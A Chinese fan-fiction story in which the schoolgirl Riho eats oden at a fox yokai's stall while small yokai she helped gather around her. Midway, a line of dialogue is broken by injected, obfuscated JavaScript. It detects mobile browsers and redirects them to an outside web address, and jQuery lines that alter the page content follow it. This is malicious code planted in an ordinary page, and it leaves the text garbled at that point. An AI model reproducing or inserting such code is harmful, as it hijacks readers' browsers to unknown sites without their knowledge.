学校自习结束,理穗最后一个走出教室的。
走廊上吵吵闹闹的,同学们三三两两结伴回家,笑声从这头传到那头。理穗和赤司告别,拒绝了他提出送她回家的请求,背着书包,一个人走在后面,影子被夕阳拉得很长。
理穗觉得这样挺好。
只是,她经过便利店的时候,稍微犹豫了一下。冰箱里还有昨晚的饭团,但她突然不想吃。正当理穗考虑晚上要做什么晚饭,站在便利店门口发呆的时候,一股香气飘了过来。
不是便利店关东煮的味道。
理穗深吸气嗅了嗅鼻子。这味道感觉很好吃。这股香气不一样,它很吸引人,像一只手,轻轻拉住了她的袖子。
明明味道异常鲜美,但理穗观察四周,却发现好像并没有人注意?
理穗抬起头,顺着香气往前走。
她拐进了一条平时从不在意的街道。街道尽头的空地上,一盏橘红色的灯笼悬在木质摊车前,灯笼上写着四个字:“狐の関東煮”。
摊主是一位身穿深青色和服的年轻女子,头上生着一对毛茸茸的赤褐色狐耳,身后的尾巴正悠闲地左右摇摆。她用一双长筷拨弄着锅里的食材,蒸汽模糊了她的面容,却挡不住那双琥珀色的眼睛。
摊主抬头望了一眼理穗身上穿的校服,疑惑的问,“人类?”
理穗点头,对于摊主是妖怪理穗反而没有太多的惊讶。她见过太多奇怪的东西,早就习惯了。
她只是歪着头看了一会儿,然后开口:“这是您开的?老远就闻到香味了。”
狐狸女老板再次抬起头,看到理穗,狐耳微微动了动。
“你看得见我?灵能力者?阴阳师?”老板问。
“嗯。”理穗点头又摇头,“我只是能看见妖怪而已。”
老板盯着她看了两秒,然后笑了。“欢迎光临,客人,想吃点什么。”老板说,“我叫千早。”
理穗停下脚步,走过去,在摊位前坐下。“都可以。”
千早从锅里捞出一串白萝卜,放进碗里,推到理穗面前,然后又从锅里捞了一串年糕福袋,放进理穗的碗里。
理穗看着那碗关东煮,小心放凉一会儿,然后她拿起筷子,轻轻咬了一口白萝卜。
汤汁在舌尖化开的瞬间,理穗感觉味道真的是非常鲜美。
理穗正在吃年糕福袋,忽然听到一个小小的声音。
“理穗小姐——”
她低头,看到一个巴掌大的小东西从墙角的缝隙里滚了出来。
那是一只小豆洗,一种长得像小和尚的妖怪,圆圆的脸,大大的眼睛,身后背着一个和他差不多大的木盆。他跑得太急,被自己的木盆绊了一下,骨碌碌滚到了理穗脚边。
“小豆?”理穗弯腰把他捡起来,“你怎么在这里?”
小豆洗坐在理穗手心里,大口大口喘气:“我、我在河边洗豆子,闻到了关东煮的味道,就、就顺着味道跑来了!”
千早从锅里捞出一颗鹌鹑蛋,切碎放在小碟子里,推过去。
“请吃。”
小豆洗抱着鹌鹑蛋碎,啃得满脸蛋黄。他吃了几口,忽然抬头看理穗,眼睛亮晶晶的。
“理穗小姐!上次谢谢你帮我修盆!”
理穗想起来了,前段时间她在河边散步想顺便看一下河童阿凉有没有回来的时候,意外遇到这只小豆洗抱着漏水的木盆哭。她用手工课随身带的防水胶带帮他把盆底缠了一圈。
“不漏了吧?”理穗问。
“不漏了不漏了!”小豆洗用力点头,腮帮子鼓鼓的,“理穗大人最好了!”
他扑过来,两只小手抱住理穗的大拇指,脸在上面蹭了蹭。
理穗一脸无奈地看着他,但千早注意到她的耳尖微微泛红。
“原来是日姬大人光临啊!夏目家的人还是这么受欢迎啊。”千早感慨说。“我之前听好多来吃关东煮的妖怪提起过你。说是夏目家的人在东京。”
对于千早提起夏目这个姓氏,理穗一点都不意外,实际上夏目要比藤原在里世界更有名的多。
夏目家在里世界的地位是靠玲子的绝对实力硬生生打出来的,却又因她寂寞的真心和温柔的初衷,而被赋予了传奇色彩。
对低级或陌生的妖怪而言,夏目玲子是危险而强大的代名词。“友人帐”更是代表着绝对的命令权,持有者可号令群妖,因此许多妖怪都对它又爱又怕,争相抢夺。这个理穗和贵志虽然到来很多麻烦,现如今也增添了很多乐趣。
许多曾与玲子结缘的妖怪,并不在意被“奴役”,反而苦苦等待她的呼唤长达几十年。即便知道玲子已去世,它们也将这份情感延续到了与她长相和性格相似、同样温柔的理穗和贵志身上。
之前宴会时雨女曾说理穗像晴明,但理穗觉得更像的是玲子外婆。
理穗低头看着碗里的萝卜出神。
又过了一会儿,一个长着蘑菇帽子的小人从地砖缝里钻了出来。他看到理穗,发出细细的“呀”一声,然后啪嗒啪嗒跑过来,在理穗的鞋面上蹭了蹭。
这是理穗上周救助的蘑菇妖。那天大太阳,这朵蘑菇被晒得蔫蔫的,理穗路过的时候用水杯给它浇了水,又把它移到阴凉处。
蘑菇妖不会说话,但它会用行动表达感谢。它从帽子上抖下来一小朵亮晶晶的小蘑菇,放在理穗的手心里。
理穗看着那朵发光的小蘑菇,沉默了两秒。
“……谢谢。”她说。“千早摊主,蘑菇可以煮吗?”理穗举起小蘑菇。
蘑菇妖开心地转了一圈,又钻进地砖缝里不见了。
千早看着这一幕,“当然,欢迎自带特色菜品。”说着尾巴轻轻摇了摇。
“你还真是认识不少小妖怪啊。”千早说。
陆陆续续地,越来越多的小妖怪出现了。
一只翅膀有点歪的小飞蛾妖从灯笼旁边飞下来,停在理穗的肩膀上。这是理穗四天前在公寓窗台上捡到的,它冲着屋内的灯光飞,一脑袋撞在了玻璃上。理穗开了窗,让它飞进来,在台灯下休息了一整晚。
飞蛾妖的翅膀轻轻扇动,发出细微的、像铃铛一样的声音。
理穗没有赶它走。
还有一个小得几乎看不见的尘埃妖怪从理穗的书包缝隙里钻出来,这是上次理穗在公园长椅底下用围巾拢住的那只。认识之后,它偶尔会出现帮理穗打扫卫生。
今天在理穗来摊位时候它就出现了,蹭了一碗热汤,然后在理穗的膝盖上缩成一团睡觉。它趴在理穗的膝盖上,发出细细的呼噜声。
一只穿旧西装的鸦天狗落在巷口的围墙上。
“理穗,晚上好。”鸦天狗蹲在围墙上打招呼。
“鸦晓晚上好。”理穗抬头看他,“你不下来吃吗?”
“今天不吃了。”鸦天狗晃了晃手里的东西,托您的福,我成功加入奴良组了,最近忙碌的很,“我是来送这个的。”
他从翅膀下面掏出一根黑色的羽毛,泛着金属般的光泽。
“上次您救的那只小乌天狗,托我把这个带给您。”鸦天狗说,“她说‘等我长大了,一定会成为大妖怪,报答理穗姐姐的’。”
理穗接过羽毛,放在手心里看了很久。
“……她还好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530739|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”理穗问。
“好得很。”鸦天狗笑了,“每天都念叨你,念叨到我在北山巡逻都觉得耳朵疼。”
理穗的嘴角轻轻弯了一下。
她小心翼翼地把羽毛放进书包里层的口袋。
千早在旁边看着这一切,尾巴不自觉地摇的更快了些。
锅里的汤咕嘟咕嘟地响,摊位上的小妖怪们越来越多。
小豆洗也坐在理穗的膝盖上和尘埃妖怪挤在一起,啃着第三颗鹌鹑蛋。
蘑菇妖不知道什么时候又回来了,蹲在理穗的鞋面上。
飞蛾妖停在理穗的对面桌子上,翅膀微微发光。
角落里还有一只陌生的豹猫妖怪,刚才过来的时候一直跟在理穗后面,理穗假装没看见。
千早看着这满满当当的摊位,叹了口气。
“多谢您了,看来今天要早早打烊了,平时可没有这么多妖怪。”
理穗咬了一口年糕福袋,谦逊地说:“是你的关东煮味道太好了,香味把它们引来的。”
千早的尾巴欢快的摇了摇,“那就多谢夸奖了”
“嗯。”理穗认真点头,“很美味的关东煮。”
“客人,您的蘑菇好了。”一会儿,千早将之前的蘑菇送到理穗碗里。想说些什么但是话到嘴边又咽了回去。
算了。
锅里的汤咕嘟咕嘟地冒着气泡。
橘红色灯笼在晚风中慢悠悠晃荡,把夜色染得暖融融的。
狭窄的小巷里,少女、一只狐狸,还有一群模样呆呆、动作笨笨的小妖怪,安安静静挤在摊位前。
蒸腾的热气袅袅升起,把周遭都烘得满是温柔暖意。
理穗捧着汤碗小口喝着,心里不由得悄悄想,很久很久以前,玲子外婆,是不是也曾经来过这里呢?
夜深了。
小妖怪们一个接一个地离开了。小豆洗被千早用一片叶子包了剩下的鹌鹑蛋带走了,蘑菇妖钻回了地砖缝,飞蛾妖飞向了路灯的方向。
尘埃妖怪还在睡。理穗轻轻把它从膝盖上捧起来,放在千早准备好的软垫上。
“让它睡吧。”千早说,“醒了它会自己走的。”
理穗点点头,背起书包。在桌上放下一枚闪闪发光的灵珠。
“真是位出手大方的客人!”千早摊主见状立刻将桌上的灵珠收入怀中,看着理穗消失的方向喃喃自语。
一枚下品妖珠或者灵珠,大约能换得凡间百两黄金;一枚上品妖珠或者灵珠,却足以让一个普通低阶妖怪的族群改换门庭。
妖珠故名思义是妖怪们产生的,灵珠一般是有灵力强大的巫女,法师等灵能力者产出的,对妖怪来说也是很稀有的产物,特别是纯净的灵珠。
在里世界之中,商贩从不问来历,只看珠子色泽是否纯净、妖气是否暴烈。这可是里世界的硬通货。
而对那些能够徒手搓珠的强者来说,妖珠不过是随手可造的零钱;可对挣扎求存的底层小妖而言,每一枚妖珠,都是削骨割肉换来的明天。
千早站在原地,尾巴不自觉地摇了起来。摇得又快又欢,根本控制不住。
她用手按住尾巴,但尾巴还是摇。
“……真是的。”千早小声说。
但她的嘴角,弯成了一个很好看的弧度。
锅里的汤还在咕嘟咕嘟地响。
灯笼的光摇摇晃晃,照着空荡荡的摊位,和一只抱着尾巴傻笑的狐狸。
巷子的尽头,理穗一个人走在回家的路上,脚步轻快,心里满是松弛与惬意。
“下次带一些给阿征他们也尝一下吧……”